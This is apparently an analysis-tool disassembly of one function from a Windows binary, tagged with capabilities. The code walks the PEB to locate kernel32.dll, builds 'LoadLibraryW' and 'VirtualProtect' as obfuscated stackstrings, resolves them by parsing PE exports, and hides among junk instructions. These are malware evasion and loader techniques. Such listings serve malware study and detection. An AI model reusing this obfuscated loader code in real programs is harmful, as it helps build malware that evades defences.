Function at 0x424284
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebx
add esp, 4
call 0x422aa4
add byte [edx], dh
inc esi
cmp eax, 0x4c4d3437
cmp dword [ecx + 0x4f], ecx
add esp, 4
and ebx, 0x17df6
call 0x422abd
add byte [eax], bh
inc ebx
inc esi
inc ebx
inc esi
dec eax
inc ebp
dec ecx
dec ebp
add esp, 4
pop ebx
cmp dword [ebp - 0xb54], 0
jne 0x422ad9
mov dword [ebp - 0x188], 0
jmp 0x422d80
mov ecx, dword [ebp - 0xb54]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x6b0], eax
push ecx
push edi
add esp, 4
add ecx, 0x32d0
and ecx, 0x1563b
pop ecx
push edx
add edx, 0x1388e
sub edx, 0x1374d
xor edx, 0x8567
pop edx
push ebx
push esi
add esp, 4
and ebx, 0xdb46
pop ebx
cmp dword [ebp - 0x6b0], 0
jne 0x422b35
mov dword [ebp - 0x188], 0
jmp 0x422d80
mov ecx, dword [ebp - 0x6b0]
mov dword [ebp - 0x25c], ecx
push edi
push ebx
add esp, 4
xor edi, 0x41c5
add edi, 0x17487
pop edi
push ecx
add ecx, 0x54f1
pop ecx
push edx
push ecx
add esp, 4
push esi
push esi
add esp, 4
add esi, 0xe969
or esi, 0x104ee
pop esi
push ebx
or ebx, 0x1695a
or ebx, 0x6b74
sub ebx, 0x105a7
pop ebx
push esi
push esi
add esp, 4
and esi, 0xd80b
pop esi
cmp dword [ebp - 0x188], 0
jne 0x423685
mov eax, 0x6b
mov word [ebp - 0xca8], ax
mov ecx, 0x65
mov word [ebp - 0xca6], cx
mov edx, 0x72
mov word [ebp - 0xca4], dx
mov eax, 0x6e
mov word [ebp - 0xca2], ax
mov ecx, 0x65
mov word [ebp - 0xca0], cx
mov edx, 0x6c
mov word [ebp - 0xc9e], dx
mov eax, 0x33
mov word [ebp - 0xc9c], ax
mov ecx, 0x32
mov word [ebp - 0xc9a], cx
mov edx, 0x2e
mov word [ebp - 0xc98], dx
mov eax, 0x64
mov word [ebp - 0xc96], ax
mov ecx, 0x6c
mov word [ebp - 0xc94], cx
mov edx, 0x6c
mov word [ebp - 0xc92], dx
xor eax, eax
mov word [ebp - 0xc90], ax
push esi
call 0x422e68
add byte [esi + 0x4d], cl
xor edi, dword [esi]
cmp byte [esi + 0x48], al
xor eax, 0x4c4833d
add esi, 0x54c2
pop esi
push edx
push eax
add esp, 4
xor edx, 0x111bc
or edx, 0x317b
or edx, 0x4106
pop edx
mov byte [ebp - 0x4c0], 0x4c
mov byte [ebp - 0x4bf], 0x6f
mov byte [ebp - 0x4be], 0x61
mov byte [ebp - 0x4bd], 0x64
mov byte [ebp - 0x4bc], 0x4c
mov byte [ebp - 0x4bb], 0x69
mov byte [ebp - 0x4ba], 0x62
mov byte [ebp - 0x4b9], 0x72
mov byte [ebp - 0x4b8], 0x61
mov byte [ebp - 0x4b7], 0x72
mov byte [ebp - 0x4b6], 0x79
mov byte [ebp - 0x4b5], 0x57
mov byte [ebp - 0x4b4], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0xe30], ecx
mov edx, dword [ebp - 0xe30]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe34], eax
mov ecx, dword [ebp - 0xe34]
mov dword [ebp - 0xb60], ecx
push esi
push edx
add esp, 4
add esi, 0x12b0
and esi, 0x67c
add esi, 0x144f
and esi, 0x12344
pop esi
push edx
add edx, 0x1824e
add edx, 0xc9a9
jmp 0x422f3e
pop edx
cmp dword [ebp - 0xb60], 0
jne 0x422f57
mov dword [ebp - 0x3cc], 0
jmp 0x4231fe
mov edx, dword [ebp - 0xb60]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x6bc], ecx
push ebx
xor ebx, 0x17a29
pop ebx
push ebx
xor ebx, 0x121c8
or ebx, 0x94dc
pop ebx
push edi
push edx
add esp, 4
jmp 0x422f8c
xor edi, 0x11e84
pop edi
push edx
and edx, 0x14d33
pop edx
cmp dword [ebp - 0x6bc], 0
jne 0x422fb3
mov dword [ebp - 0x3cc], 0
jmp 0x4231fe
mov edx, dword [ebp - 0x6bc]
mov dword [ebp - 0x258], edx
push ebx
push ecx
add esp, 4
add ebx, 0x15f3b
add ebx, 0x14644
pop ebx
push ebx
push eax
add esp, 4
jmp 0x422fdf
call 0x422fed
add byte [edx + 0x42], cl
aas
inc esi
dec edi
cmp al, 0x45
add esp, 4
pop ebx
lea eax, [ebp - 0xca8]
mov dword [ebp - 0x6b8], eax
mov ecx, dword [ebp - 0x258]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x6b4], edx
xor eax, eax
mov word [ebp - 0x118], ax
xor ecx, ecx
mov word [ebp - 0x2c], cx
push ecx
push ecx
add esp, 4
and ecx, 0x83bf
add ecx, 0x9452
pop ecx
push edi
push esi
add esp, 4
and edi, 0x339f
and edi, 0x103e5
xor edi, 0x12082
pop edi
push ecx
or ecx, 0xe3a0
pop ecx
mov edx, dword [ebp - 0x6b4]
mov ax, word [edx]
mov word [ebp - 0x876], ax
mov ecx, dword [ebp - 0x6b4]
add ecx, 2
mov dword [ebp - 0x6b4], ecx
mov dx, word [ebp - 0x876]
mov word [ebp - 0x118], dx
mov eax, dword [ebp - 0x6b8]
mov cx, word [eax]
mov word [ebp - 0x878], cx
mov edx, dword [ebp - 0x6b8]
add edx, 2
mov dword [ebp - 0x6b8], edx
mov ax, word [ebp - 0x878]
mov word [ebp - 0x2c], ax
push edi
push edx
add esp, 4
xor edi, 0xab3d
and edi, 0x11a6a
jmp 0x4230bb
pop edi
push edx
xor edx, 0x12511
xor edx, 0x89b4
or edx, 0x8b95
jmp 0x4230d5
pop edx
movzx ecx, word [ebp - 0x2c]
test ecx, ecx
jne 0x4230f3
movzx edx, word [ebp - 0x118]
movzx eax, word [ebp - 0x2c]
sub edx, eax
mov dword [ebp - 0xb68], edx
jmp 0x42314d
movzx ecx, word [ebp - 0x118]
movzx edx, word [ebp - 0x2c]
cmp ecx, edx
je 0x42301b
movzx eax, word [ebp - 0x118]
xor eax, 0x20
movzx ecx, word [ebp - 0x2c]
cmp eax, ecx
je 0x42301b
movzx edx, word [ebp - 0x118]
movzx eax, word [ebp - 0x2c]
cmp edx, eax
jge 0x423137
mov dword [ebp - 0xb64], 0xffffffff
jmp 0x423141
mov dword [ebp - 0xb64], 1
mov ecx, dword [ebp - 0xb64]
mov dword [ebp - 0xb68], ecx
cmp dword [ebp - 0xb68], 0
jne 0x423196
push edx
push ecx
add esp, 4
xor edx, 0x16187
jmp 0x423169
xor edx, 0xc2e0
jmp 0x423175
pop edx
push ebx
push ebx
add esp, 4
or ebx, 0x1770e
sub ebx, 0x9e91
pop ebx
mov edx, dword [ebp - 0x258]
mov dword [ebp - 0x3cc], edx
jmp 0x4231fe
push ecx
push edx
add esp, 4
or ecx, 0xc60c
pop ecx
push ecx
xor ecx, 0xed45
xor ecx, 0x10f0f
pop ecx
push edx
push ecx
add esp, 4
add edx, 0xeab9
sub edx, 0xa187
xor edx, 0x15008
pop edx
mov eax, dword [ebp - 0x258]
mov ecx, dword [eax]
mov dword [ebp - 0x258], ecx
mov edx, dword [ebp - 0x258]
cmp edx, dword [ebp - 0x6bc]
je 0x4231f4
mov eax, dword [ebp - 0x258]
cmp dword [eax + 0x30], 0
jne 0x422fbf
mov dword [ebp - 0x3cc], 0
cmp dword [ebp - 0x3cc], 0
jne 0x423248
push eax
jmp 0x423211
jmp 0x423219
and eax, 0x2367
pop eax
push eax
or eax, 0x1019d
jmp 0x42322c
and eax, 0x3cdf
add eax, 0x5b68
pop eax
mov dword [ebp - 0x418], 0
jmp 0x423d70
push esi
push edx
add esp, 4
add esi, 0xa4cf
and esi, 0xf8bd
or esi, 0x10507
jmp 0x423265
pop esi
push edi
add edi, 0xe19
add edi, 0xfee7
or edi, 0x77f7
pop edi
mov ecx, dword [ebp - 0x3cc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x1b4], edx
mov dword [ebp - 0x3dc], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0xb6c], eax
cmp dword [ebp - 0xb6c], 0
jne 0x4232b9
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], ecx
jmp 0x4235aa
mov edx, dword [ebp - 0xb6c]
mov eax, dword [ebp - 0x1b4]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0xb70], eax
jne 0x4232e1
mov ecx, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], ecx
jmp 0x4235aa
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0xb70]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xb74], edx
cmp dword [ebp - 0xb74], 0
jne 0x423313
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], eax
jmp 0x4235aa
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [ebp - 0xb74]
mov dword [ebp - 0x3d0], ecx
jne 0x423338
mov edx, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], edx
jmp 0x4235aa
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0xe38], ecx
mov edx, dword [ebp - 0x3d0]
mov eax, dword [ebp - 0x1b4]
add eax, dword [edx + 0x24]
mov dword [ebp - 0xe3c], eax
mov ecx, dword [ebp - 0x3d0]
mov edx, dword [ebp - 0x1b4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0xe40], edx
mov dword [ebp - 0x3d4], 0
jmp 0x423392
mov eax, dword [ebp - 0x3d4]
add eax, 1
mov dword [ebp - 0x3d4], eax
mov ecx, dword [ebp - 0x3d0]
mov edx, dword [ebp - 0x3d4]
cmp edx, dword [ecx + 0x18]
jae 0x42359e
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0xe38]
mov edx, dword [ebp - 0x1b4]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x3d8], edx
mov eax, dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0xe3c]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0xe40]
mov ecx, dword [ebp - 0x1b4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0xe44], ecx
mov dword [ebp - 0xcc], 0
jmp 0x423402
mov edx, dword [ebp - 0xcc]
add edx, 1
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0x3d8]
add eax, dword [ebp - 0xcc]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4234b4
mov edx, dword [ebp - 0xcc]
movsx eax, byte [ebp + edx - 0x4c0]
test eax, eax
je 0x4234b4
push ecx
xor ecx, 0x106a8
pop ecx
push ebx
sub ebx, 0xb89a
pop ebx
push edx
and edx, 0x70db
sub edx, 0x14e9c
add edx, 0xa36a
xor edx, 0xbea5
pop edx
push ecx
add ecx, 0x3ed1
pop ecx
mov ecx, dword [ebp - 0x3d8]
add ecx, dword [ebp - 0xcc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xcc]
movsx ecx, byte [ebp + eax - 0x4c0]
cmp edx, ecx
je 0x4234a6
mov edx, dword [ebp - 0x3d8]
add edx, dword [ebp - 0xcc]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0xcc]
movsx edx, byte [ebp + ecx - 0x4c0]
cmp eax, edx
jne 0x4234ad
jmp 0x4233f3
jmp 0x4234b4
push edx
push edx
add esp, 4
jmp 0x4234c2
pop edx
push ecx
push edx
add esp, 4
add ecx, 0x8d2e
call 0x4234dc
add byte [edx], dh
inc esi
inc ebx
cmp dword [edx + 0x4f], eax
cmp al, 0x3f
add esp, 4
add ecx, 0x3e9
pop ecx
mov eax, dword [ebp - 0x3d8]
add eax, dword [ebp - 0xcc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xcc]
movsx eax, byte [ebp + edx - 0x4c0]
cmp ecx, eax
jne 0x423513
mov dword [ebp - 0x6c0], 0
jmp 0x423582
push edi
add edi, 0x10436
xor edi, 0x11f88
xor edi, 0x97ad
pop edi
push eax
push esi
add esp, 4
add eax, 0x8265
sub eax, 0x2683
sub eax, 0xa923
add eax, 0x4272
pop eax
mov ecx, dword [ebp - 0x3d8]
add ecx, dword [ebp - 0xcc]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0xcc]
movsx ecx, byte [ebp + eax - 0x4c0]
or ecx, 0x20
cmp edx, ecx
jge 0x423578
mov dword [ebp - 0x6c0], 0xffffffff
jmp 0x423582
mov dword [ebp - 0x6c0], 1
cmp dword [ebp - 0x6c0], 0
jne 0x423599
mov edx, dword [ebp - 0xe44]
mov dword [ebp - 0x23c], edx
jmp 0x4235aa
jmp 0x423383
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
je 0x423685
push edi
push edx
add esp, 4
and edi, 0xe106
or edi, 0x5e1b
pop edi
push eax
push ebx
add esp, 4
and eax, 0x7856
or eax, 0x10e38
sub eax, 0x12eb2
pop eax
push ecx
or ecx, 0xaafc
pop ecx
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0xe48], ecx
push ecx
jmp 0x4235fd
call 0x42360d
add byte [edx + 0x34], al
cmp dh, byte [edi]
xor eax, dword [eax + 0x36]
cmp eax, dword [eax + 0x3c]
add esp, 4
sub ecx, 0x1ae
pop ecx
push eax
add eax, 0xfab5
pop eax
push edi
xor edi, 0x6248
pop edi
mov edx, dword [ebp - 0xe48]
mov dword [ebp - 0xe4c], edx
lea eax, [ebp - 0xc50]
push eax
call dword [ebp - 0xe4c]
test eax, eax
jne 0x423685
push edx
add edx, 0x47e1
xor edx, 0xa7a
sub edx, 0x10041
and edx, 0x12610
pop edx
push edx
push eax
add esp, 4
and edx, 0xa13b
and edx, 0x187
add edx, 0x7f99
pop edx
mov dword [ebp - 0x418], 0
jmp 0x423d70
push edi
sub edi, 0x8ffc
pop edi
push eax
push esi
add esp, 4
or eax, 0x1a3d
sub eax, 0x11fe3
sub eax, 0x548
pop eax
push edi
push edi
add esp, 4
add edi, 0xb026
xor edi, 0x6b87
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0xe50], ecx
mov edx, dword [ebp - 0xe50]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe54], eax
mov ecx, dword [ebp - 0xe54]
mov dword [ebp - 0xb78], ecx
push ecx
push ebx
add esp, 4
or ecx, 0x11e22
jmp 0x4236f1
sub ecx, 0xb97d
pop ecx
push ecx
add ecx, 0x16be4
add ecx, 0x1532d
or ecx, 0xb593
jmp 0x423710
pop ecx
cmp dword [ebp - 0xb78], 0
jne 0x423729
mov dword [ebp - 0x188], 0
jmp 0x4239d0
mov edx, dword [ebp - 0xb78]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x6cc], ecx
push eax
sub eax, 0x11a4a
pop eax
push ecx
push ebx
add esp, 4
call 0x423755
add byte [esi + 0x50], cl
inc esp
inc esi
xor bh, byte [eax]
dec edx
add esp, 4
pop ecx
push esi
jmp 0x423760
or esi, 0x9ea7
and esi, 0x122ce
pop esi
cmp dword [ebp - 0x6cc], 0
jne 0x423785
mov dword [ebp - 0x188], 0
jmp 0x4239d0
mov edx, dword [ebp - 0x6cc]
mov dword [ebp - 0x254], edx
push esi
push edx
add esp, 4
jmp 0x42379e
call 0x4237ad
add byte [ebx], bh
cmp esi, dword [edx]
cmp byte [esi + 0x36], cl
push eax
dec esp
add esp, 4
pop esi
push ecx
push ebx
add esp, 4
xor ecx, 0x2ccc
sub ecx, 0x51e6
pop ecx
lea eax, [ebp - 0xc50]
mov dword [ebp - 0x6c8], eax
mov ecx, dword [ebp - 0x254]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x6c4], edx
xor eax, eax
mov word [ebp - 0x11c], ax
xor ecx, ecx
mov word [ebp - 0x30], cx
push esi
push edx
add esp, 4
xor esi, 0xcccf
or esi, 0xc7e
pop esi
push edx
jmp 0x423807
add edx, 0x5349
pop edx
push eax
jmp 0x423818
xor eax, 0x2109
pop eax
mov edx, dword [ebp - 0x6c4]
mov ax, word [edx]
mov word [ebp - 0x88a], ax
mov ecx, dword [ebp - 0x6c4]
add ecx, 2
mov dword [ebp - 0x6c4], ecx
mov dx, word [ebp - 0x88a]
mov word [ebp - 0x11c], dx
mov eax, dword [ebp - 0x6c8]
mov cx, word [eax]
mov word [ebp - 0x88c], cx
mov edx, dword [ebp - 0x6c8]
add edx, 2
mov dword [ebp - 0x6c8], edx
mov ax, word [ebp - 0x88c]
mov word [ebp - 0x30], ax
push edx
call 0x423886
add byte [esi], bh
dec eax
cmp eax, dword [ecx + 0x3f]
dec esp
aas
xor esi, dword [ebx + eax*4]
les eax, [ecx + eax*4]
ret 0xc3c4
push eax
push edx
add esp, 4
xor eax, 0xd9e1
sub eax, 0xfc96
sub eax, 0xe370
pop eax
push ecx
and ecx, 0x2619
or ecx, 0x5f67
pop ecx
push ebx
push edx
add esp, 4
or ebx, 0x8f9d
pop ebx
mov ecx, dword [ebp - 0x188]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x1b8], edx
push edx
push edx
add esp, 4
xor edx, 0x4e21
add edx, 0xffa
sub edx, 0xea0
pop edx
push eax
call 0x423a39
add byte [edi], bh
xor al, 0x3e
xor edi, dword [esi]
cmp eax, 0x83334247
les eax, [ecx + eax*4]
enter 0xffffffffffff8edd, 0
add byte [eax - 0x39], bl
test dword [esp + edi*8], edx
invalid
push edx
sub edx, 0x4f35
and edx, 0x32c2
pop edx
push edi
add edi, 0x3e86
jmp 0x423d8d
pop edi
push esi
sub esi, 0x5f3
and esi, 0x11eee
and esi, 0x16fa0
pop esi
mov edx, dword [ebp - 0x228]
add edx, 0xe
mov dword [ebp - 0xeb0], edx
push edi
push ebx
add esp, 4
xor edi, 0xfef1
xor edi, 0x3fc4
xor edi, 0xca
sub edi, 0xf78a
pop edi
push eax
xor eax, 0xb7c0
or eax, 0xeedb
add eax, 0x20a3
pop eax
cmp dword [ebp - 0x228], 0
je 0x423df5
cmp dword [ebp - 0x614], 0
jne 0x423e3b
push ecx
push edx
add esp, 4
and ecx, 0x94a7
add ecx, 0xf619
add ecx, 0x2813
pop ecx
push eax
xor eax, 0x4591
sub eax, 0x5040
or eax, 0x1020b
add eax, 0x16fb5
pop eax
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x1068], eax
push 0
call dword [ebp - 0x1068]
mov dword [ebp - 0x1230], 0xa
push ecx
push ebx
add esp, 4
and ecx, 0xc5d
xor ecx, 0xfb67
and ecx, 0x39d7
pop ecx
push edi
or edi, 0x14139
xor edi, 0x58ab
pop edi
push edi
push ecx
add esp, 4
add edi, 0x1778a
pop edi
mov ecx, dword [ebp - 0x228]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x1fd], dl
mov eax, dword [ebp - 0x614]
sub eax, dword [ebp - 0x228]
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0x700], 0
push esi
push edx
add esp, 4
xor esi, 0x11d8d
or esi, 0x2f95
pop esi
push edx
push eax
add esp, 4
and edx, 0x19e1
sub edx, 0xfbfa
add edx, 0x3b0a
pop edx
push edi
xor edi, 0x3614
pop edi
mov byte [ebp - 0x598], 0x56
mov byte [ebp - 0x597], 0x69
mov byte [ebp - 0x596], 0x72
mov byte [ebp - 0x595], 0x74
mov byte [ebp - 0x594], 0x75
mov byte [ebp - 0x593], 0x61
mov byte [ebp - 0x592], 0x6c
mov byte [ebp - 0x591], 0x50
mov byte [ebp - 0x590], 0x72
mov byte [ebp - 0x58f], 0x6f
mov byte [ebp - 0x58e], 0x74
mov byte [ebp - 0x58d], 0x65
mov byte [ebp - 0x58c], 0x63
mov byte [ebp - 0x58b], 0x74
mov byte [ebp - 0x58a], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0xe68], ecx
mov edx, dword [ebp - 0xe68]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe6c], eax
mov ecx, dword [ebp - 0xe6c]
mov dword [ebp - 0xb90], ecx
push esi
add esi, 0x12abb
pop esi
push ecx
push edx
add esp, 4
or ecx, 0x60b0
add ecx, 0x8b33
and ecx, 0x14c33
pop ecx
push edi
push esi
add esp, 4
or edi, 0x9a7f
sub edi, 0x6cf5
pop edi
cmp dword [ebp - 0xb90], 0
jne 0x423faf
mov dword [ebp - 0x18c], 0
jmp 0x424256
mov edx, dword [ebp - 0xb90]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x6dc], ecx
push ebx
push ecx
add esp, 4
or ebx, 0x2df7
jmp 0x423fd4
pop ebx
push ebx
push edx
add esp, 4
jmp 0x423fe0
and ebx, 0x10393
pop ebx
push eax
push eax
add esp, 4
or eax, 0x82d2
pop eax
cmp dword [ebp - 0x6dc], 0
jne 0x42400b
mov dword [ebp - 0x18c], 0
jmp 0x424256
mov edx, dword [ebp - 0x6dc]
mov dword [ebp - 0x24c], edx
push esi
push edi
add esp, 4
jmp 0x424021
pop esi
push edx
push edx
add esp, 4
call 0x424033
add byte [ecx], bh
dec ebx
dec esi
xor eax, 0x4c48345
xor edx, 0x52d7
xor edx, 0x5fe4
add edx, 0x13c12
pop edx
lea eax, [ebp - 0xc50]
mov dword [ebp - 0x6d8], eax
mov ecx, dword [ebp - 0x24c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x6d4], edx
xor eax, eax
mov word [ebp - 0x120], ax
xor ecx, ecx
mov word [ebp - 0x34], cx
push edi
jmp 0x42407c
xor edi, 0x1778a
jmp 0x424088
jmp 0x424090
pop edi
push esi
push ecx
add esp, 4
jmp 0x42409e
sub esi, 0x1085f
pop esi
mov edx, dword [ebp - 0x6d4]
mov ax, word [edx]
mov word [ebp - 0x88e], ax
mov ecx, dword [ebp - 0x6d4]
add ecx, 2
mov dword [ebp - 0x6d4], ecx
mov dx, word [ebp - 0x88e]
mov word [ebp - 0x120], dx
mov eax, dword [ebp - 0x6d8]
mov cx, word [eax]
mov word [ebp - 0x890], cx
mov edx, dword [ebp - 0x6d8]
add edx, 2
mov dword [ebp - 0x6d8], edx
mov ax, word [ebp - 0x890]
mov word [ebp - 0x34], ax
push edx
add edx, 0x3c1a
xor edx, 0x143d1
call 0x424116
add byte [edx], bh
inc edi
xor dh, byte [edx]
inc ebx
aaa
cmp byte [ebx + 0x525a04c4], al
sub edx, 0xf813
add edx, 0x627a
xor edx, 0x15ef4
pop edx
movzx ecx, word [ebp - 0x34]
test ecx, ecx
jne 0x42414b
movzx edx, word [ebp - 0x120]
movzx eax, word [ebp - 0x34]
sub edx, eax
mov dword [ebp - 0xb98], edx
jmp 0x4241a5
movzx ecx, word [ebp - 0x120]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
je 0x424073
movzx eax, word [ebp - 0x120]
xor eax, 0x20
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x424073
movzx edx, word [ebp - 0x120]
movzx eax, word [ebp - 0x34]
cmp edx, eax
jge 0x42418f
mov dword [ebp - 0xb94], 0xffffffff
jmp 0x424199
mov dword [ebp - 0xb94], 1
mov ecx, dword [ebp - 0xb94]
mov dword [ebp - 0xb98], ecx
cmp dword [ebp - 0xb98], 0
jne 0x4241ee
push ebx
push edi
add esp, 4
and ebx, 0x6fe3
pop ebx
push ecx
push edx
add esp, 4
call 0x4241cf
add byte [ebp + 0x37], cl
aas
inc eax
xor bh, byte [ebx]
inc esp
cmp eax, 0xc4833234
add al, 0xeb
add eax, 0x38504632
inc ebx
or ecx, 0x3e8c
pop ecx
mov edx, dword [ebp - 0x24c]
mov dword [ebp - 0x18c], edx
jmp 0x424256
push ebx
push edx
add esp, 4
call 0x424202
add byte [eax], bh
inc esp
dec edx
aas
dec esp
dec ebx
aaa
xor al, 0x49
add esp, 4
sub ebx, 0x1017e
sub ebx, 0x16b3d
pop ebx
push ecx
sub ecx, 0x4250
xor ecx, 0xa6b3
pop ecx
mov eax, dword [ebp - 0x24c]
mov ecx, dword [eax]
mov dword [ebp - 0x24c], ecx
mov edx, dword [ebp - 0x24c]
cmp edx, dword [ebp - 0x6dc]
je 0x42424c
mov eax, dword [ebp - 0x24c]
cmp dword [eax + 0x30], 0
jne 0x424017
mov dword [ebp - 0x18c], 0
push eax
push edi
add esp, 4
and eax, 0x13654
jmp 0x424269
pop eax
push ebx
jmp 0x424272
and ebx, 0x9867
call 0x424284
add byte [eax], bh
cmp eax, dword [edx + 0x3b]
cmp cl, byte [ebx + eax*4 - 0x3c]
add al, 0x5b
cmp dword [ebp - 0x18c], 0
jne 0x424b5b
mov ecx, 0x6b
mov word [ebp - 0xcc4], cx
mov edx, 0x65
mov word [ebp - 0xcc2], dx
mov eax, 0x72
mov word [ebp - 0xcc0], ax
mov ecx, 0x6e
mov word [ebp - 0xcbe], cx
mov edx, 0x65
mov word [ebp - 0xcbc], dx
mov eax, 0x6c
mov word [ebp - 0xcba], ax
mov ecx, 0x33
mov word [ebp - 0xcb8], cx
mov edx, 0x32
mov word [ebp - 0xcb6], dx
mov eax, 0x2e
mov word [ebp - 0xcb4], ax
mov ecx, 0x64
mov word [ebp - 0xcb2], cx
mov edx, 0x6c
mov word [ebp - 0xcb0], dx
mov eax, 0x6c
mov word [ebp - 0xcae], ax
xor ecx, ecx
mov word [ebp - 0xcac], cx
push edx
or edx, 0xdee1
pop edx
push ebx
push edx
add esp, 4
add ebx, 0xaf04
pop ebx
push ecx
push edi
add esp, 4
or ecx, 0x13ab3
and ecx, 0x14079
sub ecx, 0xc88f
and ecx, 0xb9a7
pop ecx
mov byte [ebp - 0x4d0], 0x4c
mov byte [ebp - 0x4cf], 0x6f
mov byte [ebp - 0x4ce], 0x61
mov byte [ebp - 0x4cd], 0x64
mov byte [ebp - 0x4cc], 0x4c
mov byte [ebp - 0x4cb], 0x69
mov byte [ebp - 0x4ca], 0x62
mov byte [ebp - 0x4c9], 0x72
mov byte [ebp - 0x4c8], 0x61
mov byte [ebp - 0x4c7], 0x72
mov byte [ebp - 0x4c6], 0x79
mov byte [ebp - 0x4c5], 0x57
mov byte [ebp - 0x4c4], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0xe70], edx
mov eax, dword [ebp - 0xe70]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe74], ecx
mov edx, dword [ebp - 0xe74]
mov dword [ebp - 0xb9c], edx
push edx
jmp 0x4243ea
xor edx, 0x10dad
xor edx, 0xb64a
pop edx
push edx
push esi
add esp, 4
and edx, 0x9c88
add edx, 0xc95a
jmp 0x42440e
or edx, 0xb323
pop edx
cmp dword [ebp - 0xb9c], 0
jne 0x42442d
mov dword [ebp - 0x3f0], 0
jmp 0x4246d4
mov eax, dword [ebp - 0xb9c]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x6e8], edx
push ecx
push edi
add esp, 4
sub ecx, 0xa81c
add ecx, 0x851b
xor ecx, 0xd59d
pop ecx
push ebx
and ebx, 0x4750
and ebx, 0x36ad
xor ebx, 0xec06
add ebx, 0x655e
pop ebx
cmp dword [ebp - 0x6e8], 0
jne 0x424489
mov dword [ebp - 0x3f0], 0
jmp 0x4246d4
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0x248], eax
push ecx
push esi
add esp, 4
jmp 0x4244a3
and ecx, 0x71bb
pop ecx
push esi
jmp 0x4244b4
add esi, 0x912c
or esi, 0x1a46
add esi, 0x129c6
pop esi
lea ecx, [ebp - 0xcc4]
mov dword [ebp - 0x6e4], ecx
mov edx, dword [ebp - 0x248]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x6e0], eax
xor ecx, ecx
mov word [ebp - 0x124], cx
xor edx, edx
mov word [ebp - 0x38], dx
push eax
push edx
add esp, 4
sub eax, 0x5eca
xor eax, 0xf0c
pop eax
push esi
and esi, 0xf3e2
sub esi, 0x12dc
and esi, 0x3295
pop esi
push edx
push ebx
add esp, 4
jmp 0x424522
pop edx
mov eax, dword [ebp - 0x6e0]
mov cx, word [eax]
mov word [ebp - 0x892], cx
mov edx, dword [ebp - 0x6e0]
add edx, 2
mov dword [ebp - 0x6e0], edx
mov ax, word [ebp - 0x892]
mov word [ebp - 0x124], ax
mov ecx, dword [ebp - 0x6e4]
mov dx, word [ecx]
mov word [ebp - 0x894], dx
mov eax, dword [ebp - 0x6e4]
add eax, 2
mov dword [ebp - 0x6e4], eax
mov cx, word [ebp - 0x894]
mov word [ebp - 0x38], cx
push ebx
push edx
add esp, 4
add ebx, 0x6980
xor ebx, 0x144a9
or ebx, 0x7f36
pop ebx
push esi
and esi, 0x6a7e
pop esi
push ecx
push ecx
add esp, 4
xor ecx, 0x110d6
and ecx, 0xe9c
pop ecx
movzx edx, word [ebp - 0x38]
test edx, edx
jne 0x4245c9
movzx eax, word [ebp - 0x124]
movzx ecx, word [ebp - 0x38]
sub eax, ecx
mov dword [ebp - 0xbe4], eax
jmp 0x424623
movzx edx, word [ebp - 0x124]
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x4244f1
movzx ecx, word [ebp - 0x124]
xor ecx, 0x20
movzx edx, word [ebp - 0x38]
cmp ecx, edx
je 0x4244f1
movzx eax, word [ebp - 0x124]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
jge 0x42460d
mov dword [ebp - 0xba0], 0xffffffff
jmp 0x424617
mov dword [ebp - 0xba0], 1
mov edx, dword [ebp - 0xba0]
mov dword [ebp - 0xbe4], edx
cmp dword [ebp - 0xbe4], 0
jne 0x42466c
push esi
